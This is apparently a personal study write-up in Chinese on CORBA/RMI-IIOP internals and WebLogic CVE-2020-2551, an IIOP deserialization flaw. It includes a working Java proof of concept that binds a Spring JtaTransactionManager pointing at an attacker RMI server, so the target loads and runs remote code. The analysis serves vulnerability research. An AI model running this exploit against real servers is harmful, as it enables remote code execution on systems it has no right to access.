CORBA:
具體的對CORBA的介紹安全客這篇文章https://www.anquanke.com/post/id/199227說的很詳細,但是完全記住是不可能的,我覺得讀完它要弄清以下幾個點:
1.什么是CORBA?
CORBA全稱(Common ObjectRequest Broker Architecture)也就是公共對象請求代理體系結構,是OMG(對象管理組織)制定的一種標准的面向對象應用程序體系規范。其提出是為了解決不同應用程序間的通信,曾是分布式計算的主流技術。
2.CORBA能干什么?
實現遠程對象的調用
3.CORBA分為幾部分?
naming service //個人感覺類似於RMI的注冊表服務
client side
servant side
4.CORBA的通信流程是怎樣的?
從大體上了解通信流程是怎樣的,這里借用里面的圖:
1.啟動orbd作為naming service,會創建name service服務。
2.corba server向orbd發送請求獲取name service,協商好通信格式
3.orbd返回保存的name service
4.corba server拿到name service后將具體的實現類綁定到name service上,這個時候orbd會拿到注冊后的信息,這個信息就是IOR。
5.corba client向orbd發起請求獲取name service。
6.orbd返回保存的name service。
7.corba client在name service中查找已經注冊的信息獲取到“引用”的信息(corba server的地址等),通過orb的連接功能將遠程方法調用的請求轉發到corba server。
8.corba server通過orb接收請求,並利用POA攔截請求,將請求中所指定的類封裝好,同樣通過orb的連接功能返回給corba client。
以上1-4步主要為服務端參與,即完成服務端去注冊類的信息,每個類對應一個IOR,里面包含對所注冊的類的描述信息
以上5-8步主要為客戶端通過orb來獲取name service,然后在注冊信息中查找想要調用的類的“引用”,拿到stub,然后調用方法,經orb傳到服務端被poa攔截后處理只將結果返回給客戶端,所以方法執行不在客戶端,為rpc(遠程過程調用)
5.CORBA用來進行數據傳輸的協議是什么?
GIOP全稱(General Inter-ORB Protocol)通用對象請求協議。GIOP針對不同的通信層有不同的具體實現,而針對於TCP/IP層,其實現名為IIOP(Internet Inter-ORB Protocol)。所以說通過TCP協議傳輸的GIOP數據可以稱為IIOP。而ORB與GIOP的關系是GIOP起初就是為了滿足ORB間的通信的協議。所以也可以說ORB是CORBA通信的媒介。
6.什么是ORB?
orb就是(Object Request Broker)對象請求代理,
充當客戶端與服務端通信的媒介,而客戶端或服務端想要調用orb
來發送/處理請求就需要Stub
和skeleton
,這兩部分的具體實現就是Stub
與POA
。
7.什么是ORBD?
ORBD可以理解為ORB的守護進程,其主要負責建立客戶端(client side
)與服務端(servant side
)的關系,同時負責查找指定的IOR(可互操作對象引用,是一種數據結構,是CORBA標准的一部分)。ORBD是由Java原生支持的一個服務,其在整個CORBA通信中充當着naming service
的作用,所以客戶端和服務端要使用ORB,都要指定ORBD的端口和地址。
8.什么是stub和poa?
Stub
是client side
調用orb
的媒介,POA
是servant side
用於攔截client
請求的媒介,而兩者在結構上其實都是客戶端/服務端調用orb
的媒介
9.stub的生成方式是什么?
客戶端stub的生成方式(不只以下三種):
首先獲取NameServer,后通過resolve_str()方法生成(NameServer生成方式)
使用ORB.string_to_object生成(ORB生成方式)
使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)
而以上三種方法都可以總結成兩步:
從orbd獲取NameService,NameService中包含IOR
根據IOR的信息完成rpc調用
10.IOR中包含什么?
type_id:用於指定本次(資料庫或者說是引用)注冊的id(實際上是接口類型,就是用於表示接口的唯一標識符),用於實現類型安全。
Profile_host、Profile_port:servant side地址。
Profile ID:指定了profile_data中的內容,例如這里的TAG_INTERNET_IOP所指定的就是IIOP Profile。
Codebase:用於獲取stub類的遠程位置。通過控制這個屬性,攻擊者將控制在服務器中解碼IOR引用的類
11.CORBA數據的特點是什么?
CORBA的數據傳遞與傳統的序列化傳輸方式不同,即在二進制流中沒有ac ed 00 05
的標識,所以單純從流量的角度是很難識別的,只能從流量上下文中進行識別。
12.編寫一個Java CORBA IIOP遠程調用步驟:
1.使用idl定義遠程接口
2.使用idlj編譯idl,將idl映射為Java,它將生成接口的Java版本類以及存根和骨架的類代碼文件,這些文件使應用程序可以掛接到ORB。在遠程調用的客戶端與服務端編寫代碼中會使用到這些類文件。
3.編寫服務端代碼
4.編寫客戶端代碼
5.依次啟動命名服務->服務端->客戶端
由上面的話可以明白服務端掛到ORB上的類必須給客戶端生成用於IIOP通信的客戶端和服務端類,客戶端與服務端的通信依靠着stub,stub從orb中拿
corba的iiop需要字節編寫idl接口,並且編譯成java類,比較麻煩,所以有了rmi-iiop,結合了rmi的優點,RMI-IIOP克服了RMI只能用於Java的缺點和CORBA的復雜性(可以不用掌握IDL)
rmi-iiop例子
服務端代碼:
package com.longofo.example; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import java.util.Hashtable; public class HelloServer { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) { try { System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); //設置codebase地址 //實例化Hello servant HelloImpl helloRef = new HelloImpl(); //要綁定的類 //使用JNDI在命名服務中發布引用 InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); initialContext.rebind("HelloService", helloRef); //通過定義命名 HelloService 對應要綁定的類(實際上綁定的為實例) System.out.println("Hello Server Ready..."); Thread.currentThread().join(); } catch (Exception ex) { ex.printStackTrace(); } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); //初始化上下文 env.put(Context.PROVIDER_URL, url); return new InitialContext(env); } }
客戶端代碼:
package com.longofo.example; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import javax.rmi.PortableRemoteObject; import java.util.Hashtable; public class HelloClient { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) { try { InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); //從命名服務獲取引用,拿到stub Object objRef = initialContext.lookup("HelloService"); //narrow引用為具體的對象 HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class); EvilMessage message = new EvilMessage(); //發送該對象到服務端,服務端收到后將會還原該對象,即調用該類的readObject message.setMsg("Client call method sayHello..."); hello.sayHello(message); } catch (Exception ex) { ex.printStackTrace(); } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); } }
首先要為客戶端和服務端針對HelloImpl接口生成為了進行遠程調用所需要的類
此時新生成了兩個文件,一個tie是服務端用的,一個stub是客戶端用的
那么服務端實際上只完成的是匹配sayhello方法和反射調用,客戶端主要定義了服務端可調用的sayhello方法的基本架構,那你客戶端只有拿到這個stub才能調用遠程對象的方法就說的通了,只要將這個類文件托管到orb上,orbd對接收到的客戶端的iiop請求進行匹配,若是請求名是對應為對該類文件的綁定,則進行該類文件的分發,客戶端拿到該類文件實際上就是拿到stub,然后客戶端本地在通過該stub來實現所謂的遠程調用
然后再啟動orbd進程,作為實際的orb操作者,監聽1050端口,然后再啟動服務端
之后啟動客戶端調用sayhello的同時發送message對象,此時因為服務端收到message對象
並且調用了其readObject方法,當然這里作為實驗只是重寫了readObject方法,那么如果服務器端本地有可以利用的gadget,並且可調用的方法的入口參數也為object類型,那么同樣可以打,但是這里和之前學習rmi調用時存在的洞很類似,利用的限制條件還是比較高的,首先客戶端也要有你服務器端反序列化的該類的定義,並且報名類名得完全一致才可以
后面也示范了動態類加載的機制,也就是和rmi一樣,反序列化過程中本地找不到需要的class將去codebase指定的地址進行記載。
Weblogic中的RMI-IIOP
Weblogic默認是開啟了iiop協議的,但是如果想要如上述流程來打weblogic,那么就要找到weblogic中綁定到orb的類必須得給客戶端和服務端生成遠程調用的兩種類,然而Weblogic默認綁定了遠程名稱的實現類沒有為IIOP實現服務端類與客戶端類,但是沒有綁定的一些類卻實現了,所以默認無法利用了的正是服務端去綁定類的時黑名單的繞過,weblogic安裝可以參考https://blog.csdn.net/acmman/article/details/70093877這篇文章,因為要對weblogic進行debug,因此在user_projects\domains\base_domain的startWebLogic.cmd文件中中設置debug標志
接下來配置idea,添加debug要依賴的jar包
添加debug鏈接選項,端口就寫上面weblogic開的debug端口
poc:
public class Main { public static void main(String[] args) throws Exception { String ip = "192.168.3.247"; String port ="7001"; String rmiurl = "rmi://192.168.3.199:1099/Exploit"; String rhost = String.format("iiop://%s:%s", ip, port); Hashtable<String, String> env = new Hashtable<String, String>(); env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory"); env.put("java.naming.provider.url", rhost); Context context = new InitialContext(env); JtaTransactionManager jtaTransactionManager = new JtaTransactionManager(); jtaTransactionManager.setUserTransactionName(rmiurl); context.bind("tr1ple", jtaTransactionManager); } }
這里用到了一個入口類org.springframework.transaction.jta.JtaTransactionManager,該類在之前在spring里就爆出過jndi
spring-jndi:
先本地測試一下這個類:
這里需要添加兩個依賴:
<dependency> <groupId>org.springframework</groupId> <artifactId>spring-tx</artifactId> <version>4.2.4.RELEASE</version> </dependency> <!-- https://mvnrepository.com/artifact/org.springframework/spring-context --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>4.2.4.RELEASE</version> </dependency>
調用棧如下所示:
那么首先進入該類的initUserTransactionAndTransactionManager方法中
然后將進入this.lookupUserTransaction方法中,因為this.userTransaction默認為null
那么此時就看到熟悉的lookup函數了,並且此時的userTransactionName又是可控的,所以妥妥的JNDI注入
那么本地起個rmi referver即可,那么在getObjectFactoryFromReference函數中就會到rmi server指定的codebase去加載工廠類
最終通過newInstance實例化工廠類從而觸發calc
cve-2020-2551:
首先根據poc的bind函數下端點,看一下要進行什么操作,因為在獲取上下文時poc已經要與orb進行一次通信,所以此時數據包:
首先客戶端192.168.3.199向weblogic 192.168.3.247請求locaterequest,這里實際上是請求nameservice
然后orb返回的數據包中包含命名上下文和ior
然后步入bind函數:
這里實際上是調用orb返回的命名上下文將我們指定的JtaTransactionManager實例向orb進行綁定
接下來在bind_any函數中進行序列化數據的構造,這里可以看到weblogic用的序列化輸出流是iiopOutputstream,所以在網絡中傳輸的數據流中是看不到原生objectoutputsteam的magic頭部的
接着調用iiopOutputstream的write_any函數寫入jta類,進一步在weblogic/corba/idl/AnyImpl的write_value中寫入序列化數據
接着調用_invoke發送序列化數據
並最終調用EndpointImpl的send函數發送上文構造的iiopoutputstream,可以看到里面的giop數據已經在本地構造完成,所以此時199將給orb發送一條giop消息,進行jta類實例的綁定
那么此時對於weblogic而言應該接受到了giop消息,所以要對其進行處理,那么序列化用的是iiopoutputstream,那么反序列化應該用的是iiopInputstream輸入流,因此找到該類的read_any處下斷點並發送poc
和序列化相對應,此時實例化AnyImpl實例調用其read_value讀取序列化數據,並且在ValueHandlerImpl.readValue中從iiopStream中拿到objectInputstream然后調用jta類的readObject進行反序列化
接下來就是之前講的spring的jndi,weblogic加載Exploit.class從而進行rce
調試時注意問題:
因為這里實際上是模擬服務端來向orb綁定,因此服務端相對於orb來說也是一個客戶端,這里要用到orbhelper來獲取命名服務
而getORBhelper里面會判斷當前是不是瘦客戶端
因為要模擬服務器端所以,這里必須讓thinClient為false,因此這個靜態代碼快必須到捕獲異常塊
總結:
整個攻擊過程就是假冒服務端來進行類實例的綁定而與weblogic進行giop通信發送序列化數據,而weblogic接收到序列化數據再進行實例還原,整個流程沒問題,主要還是weblogic本身在反序列化是沒有對類黑名單做好限制。當然在分析過程中抓包來分析通信也更能清晰了解網絡通信流程,也更有助於我們理解漏洞原理。
weblogic-cve-2020-2551 IIOP反序列化導致遠程代碼執行漏洞,主要是IIOP支持RMI方式的遠程方法調用,所以在CORBA這種通信架構中可以偽造服務端和ORB通信,在獲取到context后,綁定惡意的遠程調用類到ORB,加上黑名單校驗不嚴,存在springboot的jndi注入的gadget,因此導致回連惡意的rmi server造成加載我們構造的任意字節碼來RCE
參考:
1.https://www.anquanke.com/post/id/196555 講java corba的文章
2.https://www.anquanke.com/post/id/175738 基於攻擊流量和日志對Weblogic各類漏洞的分析思路
3.https://www.anquanke.com/post/id/177546 WebLogic 多個CVE XXE漏洞分析
4.https://www.anquanke.com/post/id/180725 淺談Weblogic反序列化——XMLDecoder的繞過史
5.https://www.anquanke.com/post/id/195865#h2-2 t3反序列化
7.https://www.anquanke.com/post/id/199227 講corba的原理
9.https://www.anquanke.com/post/id/184068#h2-14 講weblogic 很詳細
10.https://blog.csdn.net/acmman/article/details/70093877 weblogic安裝
11.https://www.anquanke.com/post/id/199966 cve 2020-2551
12.https://xz.aliyun.com/t/7374#toc-9 cve 2020-2551
13.https://www.anquanke.com/post/id/199695#h3-2 cve 2020-2551
14.https://www.anquanke.com/post/id/197605 iiop反序列化